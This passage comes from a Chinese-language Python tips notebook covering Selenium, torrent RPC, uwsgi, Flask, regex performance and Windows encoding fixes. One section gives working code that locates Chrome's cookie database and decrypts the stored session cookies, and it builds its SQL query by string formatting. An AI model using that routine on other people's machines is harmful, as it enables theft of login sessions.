selenium</code></p>\n<p>调用代码，爬取url，得到网页源代码，其中127.0.0.1相应地修改为Docker主机的IP:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">url</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;https://wanwang.aliyun.com/help/price.html&quot;</span>\n\n<span class=\"kn\">from</span> <span class=\"nn\">selenium</span> <span class=\"kn\">import</span> <span class=\"n\">webdriver</span>\n<span class=\"kn\">from</span> <span class=\"nn\">selenium.webdriver.common.desired_capabilities</span> <span class=\"kn\">import</span> <span class=\"n\">DesiredCapabilities</span>\n<span class=\"n\">driver</span> <span class=\"o\">=</span> <span class=\"n\">webdriver</span><span class=\"o\">.</span><span class=\"n\">Remote</span><span class=\"p\">(</span>\n    <span class=\"n\">command_executor</span><span class=\"o\">=</span><span class=\"s1\">&#39;http://127.0.0.1:6666/wd/hub&#39;</span><span class=\"p\">,</span>\n    <span class=\"n\">desired_capabilities</span><span class=\"o\">=</span><span class=\"n\">DesiredCapabilities</span><span class=\"o\">.</span><span class=\"n\">CHROME</span><span class=\"p\">)</span>\n<span class=\"n\">driver</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"n\">url</span><span class=\"p\">)</span>\n<span class=\"n\">html</span> <span class=\"o\">=</span> <span class=\"n\">driver</span><span class=\"o\">.</span><span class=\"n\">page_source</span>\n<span class=\"k\">with</span> <span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"s2\">&quot;result.html&quot;</span><span class=\"p\">,</span> <span class=\"s2\">&quot;w&quot;</span><span class=\"p\">,</span> <span class=\"n\">encoding</span><span class=\"o\">=</span><span class=\"s2\">&quot;utf-8&quot;</span><span class=\"p\">)</span> <span class=\"k\">as</span> <span class=\"n\">fp</span><span class=\"p\">:</span>\n        <span class=\"n\">fp</span><span class=\"o\">.</span><span class=\"n\">write</span><span class=\"p\">(</span><span class=\"n\">html</span><span class=\"p\">)</span>\n<span class=\"n\">driver</span><span class=\"o\">.</span><span class=\"n\">quit</span><span class=\"p\">()</span> <span class=\"c1\">#一定要记得清理掉Chrome进程 否则内存会占满</span>\n</code></pre></div>\n\n<p>如果没有在代码里面清理Chrome进程，可以在浏览器里面进入Console，在这里可以看到当前运行的Session (Chrome进程) ，对当前页面查看页面截图：\nhttp://127.0.0.1:6666/wd/hub/static/resource/hub.html</p>\n<hr />\n<h2 id=\"pythonroot\">python丢弃root权限<a class=\"headerlink\" href=\"#pythonroot\" title=\"Permanent link\">&para;</a></h2>\n<p>如果python需要监听80端口，简单方式就是直接用root权限启动，但启动后可以丢弃root权限来提高安全性</p>\n<p>code from https://stackoverflow.com/questions/2699907/dropping-root-permissions-in-python</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">os</span><span class=\"o\">,</span> <span class=\"nn\">pwd</span><span class=\"o\">,</span> <span class=\"nn\">grp</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">drop_privileges</span><span class=\"p\">(</span><span class=\"n\">uid_name</span><span class=\"o\">=</span><span class=\"s1\">&#39;nobody&#39;</span><span class=\"p\">,</span> <span class=\"n\">gid_name</span><span class=\"o\">=</span><span class=\"s1\">&#39;nogroup&#39;</span><span class=\"p\">):</span>\n    <span class=\"k\">if</span> <span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">getuid</span><span class=\"p\">()</span> <span class=\"o\">!=</span> <span class=\"mi\">0</span><span class=\"p\">:</span>\n        <span class=\"c1\"># We&#39;re not root so, like, whatever dude</span>\n        <span class=\"k\">return</span>\n\n    <span class=\"c1\"># Get the uid/gid from the name</span>\n    <span class=\"n\">running_uid</span> <span class=\"o\">=</span> <span class=\"n\">pwd</span><span class=\"o\">.</span><span class=\"n\">getpwnam</span><span class=\"p\">(</span><span class=\"n\">uid_name</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">pw_uid</span>\n    <span class=\"n\">running_gid</span> <span class=\"o\">=</span> <span class=\"n\">grp</span><span class=\"o\">.</span><span class=\"n\">getgrnam</span><span class=\"p\">(</span><span class=\"n\">gid_name</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">gr_gid</span>\n\n    <span class=\"c1\"># Remove group privileges</span>\n    <span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">setgroups</span><span class=\"p\">([])</span>\n\n    <span class=\"c1\"># Try setting the new uid/gid</span>\n    <span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">setgid</span><span class=\"p\">(</span><span class=\"n\">running_gid</span><span class=\"p\">)</span>\n    <span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">setuid</span><span class=\"p\">(</span><span class=\"n\">running_uid</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"python-transmissionrpc\">python transmissionrpc<a class=\"headerlink\" href=\"#python-transmissionrpc\" title=\"Permanent link\">&para;</a></h2>\n<p>下述主要介绍<a href=\"https://pythonhosted.org/transmissionrpc/\">transmissionrpc</a>这个库的使用</p>\n<h3 id=\"_14\">上传一个种子 开始下载<a class=\"headerlink\" href=\"#_14\" title=\"Permanent link\">&para;</a></h3>\n<p>使用Client的add_torrent方法，传入种子文件的base64</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">upload_transmission</span><span class=\"p\">(</span><span class=\"n\">thost</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">tport</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">tuser</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">tpassword</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">filename</span><span class=\"p\">):</span>\n<span class=\"w\">    </span><span class=\"n\">tc</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">transmissionrpc</span><span class=\"o\">.</span><span class=\"n\">Client</span><span class=\"p\">(</span><span class=\"n\">thost</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">port</span><span class=\"o\">=</span><span class=\"n\">tport</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">user</span><span class=\"o\">=</span><span class=\"n\">tuser</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">password</span><span class=\"o\">=</span><span class=\"n\">tpassword</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">tc</span><span class=\"o\">.</span><span class=\"n\">add_torrent</span><span class=\"p\">(</span><span class=\"n\">base64</span><span class=\"o\">.</span><span class=\"n\">b64encode</span><span class=\"p\">(</span><span class=\"n\">open</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s2\">&quot;rb&quot;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">read</span><span class=\"p\">())</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">())</span>\n</code></pre></div>\n\n<p>返回值是一个不完整的torrent对象</p>\n<h3 id=\"torrent\">获取完整的torrent对象<a class=\"headerlink\" href=\"#torrent\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>torrent_id = torrent.id\nfull_torrent = tc.get_torrent(torrent_id)\n</code></pre></div>\n\n<p>其中就有状态和进度信息</p>\n<div class=\"codehilite\"><pre><span></span><code>print(full_torrent.status, full_torrent.progress)\n</code></pre></div>\n\n<h3 id=\"tracker\">给种子增加一个tracker<a class=\"headerlink\" href=\"#tracker\" title=\"Permanent link\">&para;</a></h3>\n<p>这样可以把pt站点的种子转到OpenTracker，无需重新校验种子（但传到新的pt站点infohash会变，只能传新种子重新校验）</p>\n<p>transmissionrpc本身似乎没有暴露出trackerAdd的方法，这是结合浏览器和翻阅代码自己试出来的</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">torrent</span><span class=\"p\">.</span><span class=\"n\">_client</span><span class=\"p\">.</span><span class=\"n\">_request</span><span class=\"p\">(</span><span class=\"s1\">&#39;torrent-set&#39;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"err\">{</span><span class=\"ss\">&quot;trackerAdd&quot;</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"n\">new_tracker_url</span><span class=\"o\">]</span><span class=\"err\">}</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">torrent</span><span class=\"p\">.</span><span class=\"n\">id</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">True</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<h3 id=\"torrenttracker\">修改一个.torrent文件的tracker<a class=\"headerlink\" href=\"#torrenttracker\" title=\"Permanent link\">&para;</a></h3>\n<p>使用torf库，这个库使用了python3.6才支持的特性，依赖于格式化字符串、dict遍历的有序性</p>\n<p>我修改后的版本下载，支持py3.5：https://d.py3.io/torf.zip</p>\n<p>代码：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">t</span><span class=\"o\">=</span><span class=\"n\">torf</span><span class=\"p\">.</span><span class=\"n\">Torrent</span><span class=\"p\">.</span><span class=\"k\">read</span><span class=\"p\">(</span><span class=\"n\">torrent_filename</span><span class=\"p\">)</span>\n<span class=\"n\">t</span><span class=\"p\">.</span><span class=\"n\">trackers</span><span class=\"o\">=[</span><span class=\"n\">[new_tracker_url</span><span class=\"o\">]</span><span class=\"err\">]</span>\n<span class=\"n\">t</span><span class=\"p\">.</span><span class=\"k\">write</span><span class=\"p\">(</span><span class=\"ss\">&quot;new.torrent&quot;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"uwsgi\">uwsgi优雅重启<a class=\"headerlink\" href=\"#uwsgi\" title=\"Permanent link\">&para;</a></h2>\n<p>参考：http://uwsgi-docs.readthedocs.io/en/latest/articles/TheArtOfGracefulReloading.html</p>\n<p>在uwsgi.ini中添加一行：</p>\n<div class=\"codehilite\"><pre><span></span><code>master-fifo = /tmp/uwsgififo\n</code></pre></div>\n\n<p>需要重启的时候就：</p>\n<div class=\"codehilite\"><pre><span></span><code>echo r&gt;/tmp/uwsgififo\n</code></pre></div>\n\n<p>文件打开方式必须是&rdquo;w&rdquo;而不能是&rdquo;a&rdquo;：</p>\n<div class=\"codehilite\"><pre><span></span><code>open(&quot;/tmp/uwsgififo&quot;, &quot;w&quot;).write(&quot;r&quot;)\n</code></pre></div>\n\n<h2 id=\"flask\">flask设置一堆静态目录<a class=\"headerlink\" href=\"#flask\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">flask</span> <span class=\"kn\">import</span> <span class=\"n\">Flask</span><span class=\"p\">,</span> <span class=\"n\">render_template</span><span class=\"p\">,</span> <span class=\"n\">Blueprint</span><span class=\"p\">,</span> <span class=\"n\">request</span><span class=\"p\">,</span> <span class=\"n\">redirect</span><span class=\"p\">,</span> <span class=\"n\">Markup</span>\n<span class=\"n\">app</span> <span class=\"o\">=</span> <span class=\"n\">Flask</span><span class=\"p\">(</span><span class=\"vm\">__name__</span><span class=\"p\">)</span>\n<span class=\"k\">for</span> <span class=\"n\">path</span> <span class=\"ow\">in</span> <span class=\"p\">[</span><span class=\"s1\">&#39;pic&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;skin&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;images&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;更多静态目录&#39;</span><span class=\"p\">]:</span>\n    <span class=\"n\">blueprint</span> <span class=\"o\">=</span> <span class=\"n\">Blueprint</span><span class=\"p\">(</span><span class=\"n\">path</span><span class=\"p\">,</span> <span class=\"vm\">__name__</span><span class=\"p\">,</span> <span class=\"n\">static_url_path</span><span class=\"o\">=</span><span class=\"s1\">&#39;/&#39;</span><span class=\"o\">+</span><span class=\"n\">path</span><span class=\"p\">,</span> <span class=\"n\">static_folder</span><span class=\"o\">=</span><span class=\"n\">path</span><span class=\"p\">)</span>\n    <span class=\"n\">app</span><span class=\"o\">.</span><span class=\"n\">register_blueprint</span><span class=\"p\">(</span><span class=\"n\">blueprint</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"python35-openutf-8\">Python3.5 open打开文件默认使用utf-8<a class=\"headerlink\" href=\"#python35-openutf-8\" title=\"Permanent link\">&para;</a></h2>\n<p>Windows下open打开文件总是会使用gbk，配置环境变量如PYTHONIOENCODING都没用，就很气，难道只能每次open都保证写上encoding=&rdquo;utf-8&rdquo;嘛？当然不必</p>\n<p>google搜索关键词：windows python3 change open file encoding</p>\n<p>解决方案：参考：https://stackoverflow.com/questions/31469707/changing-the-locale-preferred-encoding-in-python-3-in-windows</p>\n<p>添加代码：由于只有windows才需要这么处理，所以先判断操作系统</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">sys</span>\n<span class=\"k\">if</span> <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">platform</span><span class=\"o\">.</span><span class=\"n\">startswith</span><span class=\"p\">(</span><span class=\"s2\">&quot;win&quot;</span><span class=\"p\">):</span>\n    <span class=\"kn\">import</span> <span class=\"nn\">_locale</span>\n    <span class=\"n\">_locale</span><span class=\"o\">.</span><span class=\"n\">_getdefaultlocale</span> <span class=\"o\">=</span> <span class=\"p\">(</span><span class=\"k\">lambda</span> <span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">:</span> <span class=\"p\">[</span><span class=\"s1\">&#39;en_US&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;utf8&#39;</span><span class=\"p\">])</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"pythonurl\">Python提取url 正则匹配的回溯爆炸问题<a class=\"headerlink\" href=\"#pythonurl\" title=\"Permanent link\">&para;</a></h2>\n<p>提取url想遇到中文字符就不算入url中，写出了这样的正则(Python)，把中文加入到最后的排除字符：</p>\n<div class=\"codehilite\"><pre><span></span><code>_url_re = re.compile(r&#39;(?im)((?:https?://|www\\d{0,3}[.]|[a-z0-9.\\-]+[.][a-z]{2,4}/)(?:[^\\s()&lt;&gt;，。（）]+|\\([^\\s()&lt;&gt;，。（）]+\\))+(?:\\([^\\s()&lt;&gt;，。（）]+\\)|[^\\u4e00-\\u9fa5，。（）\\s`!()\\[\\]{};:\\&#39;&quot;.,&lt;&gt;?]))&#39;)\n</code></pre></div>\n\n<p>然后实际运行的时候发现网站特定页面访问特别缓慢，CPU占用高，排除许久死循环后发现是这个正则花了太长的时间</p>\n<p>解决方案就是放弃使用正则来剔除中文，提取出含有中文字符的url后再做处理去掉中文字符（字节数&gt;1的）</p>\n<p>现在使用的正则是：</p>\n<div class=\"codehilite\"><pre><span></span><code>_url_re = re.compile(r&#39;(?im)((?:https?://|www\\d{0,3}[.]|[a-z0-9.\\-]+[.][a-z]{2,4}/)(?:[^\\s()&lt;&gt;]+|\\([^\\s()&lt;&gt;]+\\))+(?:\\([^\\s()&lt;&gt;]+\\)|[^\\s`!()\\[\\]{};:\\&#39;&quot;.,&lt;&gt;?]))&#39;)\n</code></pre></div>\n\n<p>提取后的处理代码：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">start</span>,<span class=\"w\"> </span><span class=\"k\">end</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">match</span>.<span class=\"nv\">span</span><span class=\"ss\">()</span>\n<span class=\"k\">while</span><span class=\"w\"> </span><span class=\"nv\">len</span><span class=\"ss\">(</span><span class=\"nv\">data</span>[<span class=\"k\">end</span><span class=\"o\">-</span><span class=\"mi\">1</span>].<span class=\"nv\">encode</span><span class=\"ss\">(</span><span class=\"s2\">&quot;utf-8&quot;</span><span class=\"ss\">))</span><span class=\"o\">&gt;</span><span class=\"mi\">1</span>:\n<span class=\"w\">    </span><span class=\"k\">end</span><span class=\"w\"> </span><span class=\"o\">-=</span><span class=\"w\"> </span><span class=\"mi\">1</span>\n</code></pre></div>\n\n<p>现在改为更加保守的 从左往右遍历，遇到字节数&gt;1的就终止url：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">start</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">end</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">match</span><span class=\"p\">.</span><span class=\"n\">span</span><span class=\"p\">()</span>\n<span class=\"n\">newend</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">start</span>\n<span class=\"k\">while</span><span class=\"w\"> </span><span class=\"n\">newend</span><span class=\"o\">&lt;</span><span class=\"k\">end</span><span class=\"w\"> </span><span class=\"ow\">and</span><span class=\"w\"> </span><span class=\"nf\">len</span><span class=\"p\">(</span><span class=\"k\">data</span><span class=\"o\">[</span><span class=\"n\">newend</span><span class=\"o\">]</span><span class=\"p\">.</span><span class=\"n\">encode</span><span class=\"p\">(</span><span class=\"ss\">&quot;utf-8&quot;</span><span class=\"p\">))</span><span class=\"o\">==</span><span class=\"mi\">1</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"n\">newend</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"mi\">1</span>\n<span class=\"k\">end</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">newend</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"ubuntugmpy2\">ubuntu安装gmpy2<a class=\"headerlink\" href=\"#ubuntugmpy2\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>apt install libmpc-dev libmpfr-dev\npip install gmpy2\n</code></pre></div>\n\n<p>辣鸡的官方文档都不提一下apt安装依赖库的事情，apt能搞定的为啥还要自己编译hhh</p>\n<p>支持python3 也可以-t .安装到当前目录，就是编译生成了一个so文件</p>\n<hr />\n<h2 id=\"flask_1\">Flask模板 删去循环引入的多余空格<a class=\"headerlink\" href=\"#flask_1\" title=\"Permanent link\">&para;</a></h2>\n<p>在模板文件中写for循环的时候，产生的html会包含代码中的缩进空格，这可能会暴露代码的信息，所以有必要删去</p>\n<p>很简单 把 <code>{% %}</code>改为 <code>{%- -%}</code>即可</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"cp\">{%</span>- <span class=\"k\">for</span> <span class=\"nv\">i</span> <span class=\"k\">in</span> <span class=\"nv\">range</span><span class=\"o\">(</span><span class=\"m\">1</span><span class=\"o\">,</span><span class=\"m\">10</span><span class=\"o\">)</span> -<span class=\"cp\">%}</span>\n<span class=\"x\">    </span><span class=\"cp\">{{</span><span class=\"nv\">i</span><span class=\"cp\">}}</span>\n<span class=\"cp\">{%</span>- <span class=\"k\">endfor</span> -<span class=\"cp\">%}</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"sentry\">使用sentry<a class=\"headerlink\" href=\"#sentry\" title=\"Permanent link\">&para;</a></h2>\n<p>在py文件一开始进行加载，会自动处理没有被handle的异常</p>\n<p>安装：pip install sentry_sdk</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">sentry_sdk</span>\n<span class=\"kn\">from</span> <span class=\"nn\">sentry_sdk</span> <span class=\"kn\">import</span> <span class=\"n\">capture_message</span><span class=\"p\">,</span> <span class=\"n\">capture_exception</span>\n<span class=\"n\">sentry_sdk</span><span class=\"o\">.</span><span class=\"n\">init</span><span class=\"p\">(</span><span class=\"s2\">&quot;....&quot;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>在出现了意外但是不严重可以pass的时候 代替<code>traceback.print_exc()</code>：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">try</span><span class=\"o\">:</span>\n<span class=\"w\">    </span><span class=\"mi\">1</span><span class=\"o\">/</span><span class=\"mi\">0</span>\n<span class=\"n\">except</span><span class=\"o\">:</span>\n<span class=\"w\">    </span><span class=\"n\">capture_exception</span><span class=\"o\">()</span>\n<span class=\"w\">    </span><span class=\"n\">capture_message</span><span class=\"o\">(</span><span class=\"s2\">&quot;oho, 1/0 failed...&quot;</span><span class=\"o\">)</span>\n<span class=\"w\">    </span><span class=\"n\">pass</span>\n</code></pre></div>\n\n<p>如果是flask的应用 比如用户登录了，希望报错的时候顺带给出用户名：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">sentry_sdk</span> <span class=\"kn\">import</span> <span class=\"n\">configure_scope</span>\n<span class=\"nd\">@app</span><span class=\"o\">.</span><span class=\"n\">before_request</span>\n<span class=\"k\">def</span> <span class=\"nf\">before_request_session</span><span class=\"p\">():</span>\n    <span class=\"k\">if</span> <span class=\"s2\">&quot;username&quot;</span> <span class=\"ow\">in</span> <span class=\"n\">session</span><span class=\"p\">:</span>\n        <span class=\"k\">with</span> <span class=\"n\">configure_scope</span><span class=\"p\">()</span> <span class=\"k\">as</span> <span class=\"n\">scope</span><span class=\"p\">:</span>\n            <span class=\"n\">scope</span><span class=\"o\">.</span><span class=\"n\">user</span> <span class=\"o\">=</span> <span class=\"p\">{</span><span class=\"s2\">&quot;username&quot;</span><span class=\"p\">:</span> <span class=\"n\">session</span><span class=\"p\">[</span><span class=\"s2\">&quot;username&quot;</span><span class=\"p\">]}</span>\n</code></pre></div>\n\n<h3 id=\"sentry_1\">不要过于依赖Sentry<a class=\"headerlink\" href=\"#sentry_1\" title=\"Permanent link\">&para;</a></h3>\n<p><code>capture_exception</code>和<code>capture_message</code> 都是同步调用 本质上是一个耗时的网络请求</p>\n<p>尤其在循环中触发 会导致页面加载速度显著变慢</p>\n<p>对于已经知道会有异常产生也不关心的，就不要抓住这种异常来损害性能了 pass就好了</p>\n<h2 id=\"pysysargv\">解决命令行执行py文件没有sys.argv的问题<a class=\"headerlink\" href=\"#pysysargv\" title=\"Permanent link\">&para;</a></h2>\n<p>这是由于打开方式没有把%*加上的原因，修改注册表 regedit</p>\n<div class=\"codehilite\"><pre><span></span><code>HKEY_CLASSES_ROOT\\Python.File\\Shell\\open\\command\n</code></pre></div>\n\n<p>末尾加上<code>%*</code>即可，例如改为</p>\n<div class=\"codehilite\"><pre><span></span><code>&quot;C:\\Python37\\python.exe&quot; &quot;%1&quot; %*\n</code></pre></div>\n\n<p>你也可以用管理员权限的cmd来做修改：</p>\n<p>先查询.py的文件类型：<code>assoc .py</code>查到<code>.py=Python.File</code></p>\n<p>然后查一下当前的运行命令：<code>ftype Python.File</code> 然后用<code>ftype Python.File=\"C:\\Python37\\python.exe\" \"%1\" %*</code>修改即可</p>\n<hr />\n<h2 id=\"pythonwindows-chromecookie\">Python获取Windows Chrome的Cookie<a class=\"headerlink\" href=\"#pythonwindows-chromecookie\" title=\"Permanent link\">&para;</a></h2>\n<p>参考：https://github.com/cheezone/ZhihuVAPI/blob/34ef5881f83da0026119e3167ebe727619774c7b/ZhihuVAPI/util/Session.py#L18</p>\n<p>Chrome的cookie用sqlite数据库存储，用WinAPI加密，当前用户任何程序都可以调用解密API来获取cookie</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">sqlite3</span>\n<span class=\"kn\">import</span> <span class=\"nn\">glob</span>\n<span class=\"kn\">import</span> <span class=\"nn\">os</span>\n<span class=\"kn\">from</span> <span class=\"nn\">win32.win32crypt</span> <span class=\"kn\">import</span> <span class=\"n\">CryptUnprotectData</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">getcookie</span><span class=\"p\">(</span><span class=\"n\">host</span><span class=\"p\">):</span>\n    <span class=\"n\">result</span> <span class=\"o\">=</span> <span class=\"p\">[]</span>\n    <span class=\"k\">for</span> <span class=\"n\">cookiepath</span> <span class=\"ow\">in</span> <span class=\"n\">glob</span><span class=\"o\">.</span><span class=\"n\">glob</span><span class=\"p\">(</span><span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">environ</span><span class=\"p\">[</span><span class=\"s1\">&#39;LOCALAPPDATA&#39;</span><span class=\"p\">]</span> <span class=\"o\">+</span> <span class=\"sa\">r</span><span class=\"s2\">&quot;\\*\\*\\User Data\\Default\\Cookies&quot;</span><span class=\"p\">)</span><span class=\"o\">+</span><span class=\"n\">glob</span><span class=\"o\">.</span><span class=\"n\">glob</span><span class=\"p\">(</span><span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">environ</span><span class=\"p\">[</span><span class=\"s1\">&#39;LOCALAPPDATA&#39;</span><span class=\"p\">]</span> <span class=\"o\">+</span> <span class=\"sa\">r</span><span class=\"s2\">&quot;\\*\\User Data\\Default\\Cookies&quot;</span><span class=\"p\">):</span>\n        <span class=\"n\">sql</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;select host_key,name,encrypted_value from cookies where host_key=&#39;</span><span class=\"si\">%s</span><span class=\"s2\">&#39;&quot;</span> <span class=\"o\">%</span> <span class=\"n\">host</span>\n        <span class=\"k\">with</span> <span class=\"n\">sqlite3</span><span class=\"o\">.</span><span class=\"n\">connect</span><span class=\"p\">(</span><span class=\"n\">cookiepath</span><span class=\"p\">)</span> <span class=\"k\">as</span> <span class=\"n\">conn</span><span class=\"p\">:</span>\n            <span class=\"n\">cu</span> <span class=\"o\">=</span> <span class=\"n\">conn</span><span class=\"o\">.</span><span class=\"n\">cursor</span><span class=\"p\">()</span>\n            <span class=\"n\">cookies</span> <span class=\"o\">=</span> <span class=\"p\">{</span><span class=\"n\">name</span><span class=\"p\">:</span> <span class=\"n\">CryptUnprotectData</span><span class=\"p\">(</span><span class=\"n\">encrypted_value</span><span class=\"p\">)[</span><span class=\"mi\">1</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">()</span> <span class=\"k\">for</span> <span class=\"n\">host_key</span><span class=\"p\">,</span> <span class=\"n\">name</span><span class=\"p\">,</span> <span class=\"n\">encrypted_value</span> <span class=\"ow\">in</span> <span class=\"n\">cu</span><span class=\"o\">.</span><span class=\"n\">execute</span><span class=\"p\">(</span><span class=\"n\">sql</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">fetchall</span><span class=\"p\">()}</span>\n        <span class=\"n\">result</span><span class=\"o\">.</span><span class=\"n\">extend</span><span class=\"p\">([</span><span class=\"n\">k</span><span class=\"o\">+</span><span class=\"s2\">&quot;=&quot;</span><span class=\"o\">+</span><span class=\"n\">v</span> <span class=\"k\">for</span> <span class=\"n\">k</span><span class=\"p\">,</span> <span class=\"n\">v</span> <span class=\"ow\">in</span> <span class=\"n\">cookies</span><span class=\"o\">.</span><span class=\"n\">items</span><span class=\"p\">()])</span>\n    <span class=\"k\">return</span> <span class=\"n\">result</span>\n</code></pre></div>\n\n<p>调用如<code>getcookie(\".zhihu.com\")</code></p>\n<hr />\n<h2 id=\"winencodingutf-8\">Win开发摆脱每次都要写的encoding=utf-8<a class=\"headerlink\" href=\"#winencodingutf-8\" title=\"Permanent link\">&para;</a></h2>\n<p>在Windows上写代码，目标部署环境为linux，本机运行的时候不想每次读写文件都要写<code>encoding=\"utf-8\"</code></p>\n<p>修改<code>C:\\Python38\\Lib\\site.py</code>，末尾加上：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">_locale</span>\n<span class=\"n\">_locale</span><span class=\"o\">.</span><span class=\"n\">_getdefaultlocale</span> <span class=\"o\">=</span> <span class=\"p\">(</span><span class=\"k\">lambda</span> <span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">:</span> <span class=\"p\">[</span><span class=\"s1\">&#39;en_US&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;utf8&#39;</span><span class=\"p\">])</span>\n</code></pre></div>\n\n<p>验证可以用：<code>python -c \"print(open('x','w').encoding)\"</code> 输出<code>utf8</code>而不是<code>cp936</code>即可</p>\n<p>参考： https://juejin.im/post/5bd2b6d5e51d45735c3c0453</p>\n<hr />\n<h2 id=\"ubuntu1604python37\">Ubuntu16.04安装Python3.7<a class=\"headerlink\" href=\"#ubuntu1604python37\" title=\"Permanent link\">&para;</a></h2>\n<p>并且设置为默认的python</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"w\">    </span><span class=\"n\">apt</span><span class=\"o\">-</span><span class=\"n\">key</span><span class=\"w\"> </span><span class=\"n\">adv</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">keyserver</span><span class=\"w\"> </span><span class=\"n\">keyserver</span><span class=\"o\">.</span><span class=\"n\">ubuntu</span><span class=\"o\">.</span><span class=\"n\">com</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">recv</span><span class=\"o\">-</span><span class=\"n\">keys</span><span class=\"w\"> </span><span class=\"n\">BA6932366A755776</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span>\\\n<span class=\"w\">    </span><span class=\"n\">echo</span><span class=\"w\"> </span><span class=\"s2\">&quot;deb http://ppa.launchpad.net/deadsnakes/ppa/ubuntu xenial main&quot;</span><span class=\"w\"> </span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">apt</span><span class=\"o\">/</span><span class=\"n\">sources</span><span class=\"o\">.</span><span class=\"n\">list</span><span class=\"o\">.</span><span class=\"n\">d</span><span class=\"o\">/</span><span class=\"n\">python</span><span class=\"o\">.</span><span class=\"n\">list</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span>\\\n<span class=\"w\">    </span><span class=\"n\">apt</span><span class=\"w\"> </span><span class=\"n\">update</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span><span class=\"w\"> 